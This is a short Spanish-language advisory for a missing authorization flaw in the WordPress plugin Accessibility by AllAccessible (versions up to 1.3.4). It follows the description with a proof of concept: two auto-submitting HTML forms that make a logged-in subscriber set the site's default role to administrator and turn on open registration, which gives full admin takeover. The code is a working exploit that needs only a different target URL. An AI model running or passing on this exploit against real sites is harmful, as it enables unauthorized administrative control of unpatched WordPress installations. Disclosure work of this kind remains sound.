
Accesibilidad por AllAccessible <= 1.3.4 - Falta de autorización para actualización arbitraria de opciones autenticada (Suscriptor+)
Accesibilidad por AllAccessible <= 1.3.4 - Falta de autorización para actualización arbitraria de opciones por parte de usuarios autenticados (Suscriptor+)
El plugin Accessibility by AllAccessible para WordPress es vulnerable a la modificación no autorizada de datos que puede provocar una escalada de privilegios debido a una falta de verificación de capacidades en la función 'AllAccessible_save_settings' en todas las versiones hasta la 1.3.4 inclusive. Esto permite que atacantes autenticados, con acceso de nivel Suscriptor o superior, actualicen opciones arbitrarias en el sitio WordPress. Esto se puede aprovechar para actualizar el rol predeterminado de registro a administrador y habilitar el registro de usuarios para que los atacantes obtengan acceso administrativo a un sitio vulnerable.
Inicia sesión como suscriptor y luego usa estos formularios para establecer el rol predeterminado como administrador y luego el segundo para que los usuarios se registren.
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="AllAccessible_save_settings" />
<input type="hidden" name="opt_name" value="default_role" />
<input type="hidden" name="opt_value" value="administrator" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="AllAccessible_save_settings" />
<input type="hidden" name="opt_name" value="users_can_register" />
<input type="hidden" name="opt_value" value="1" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>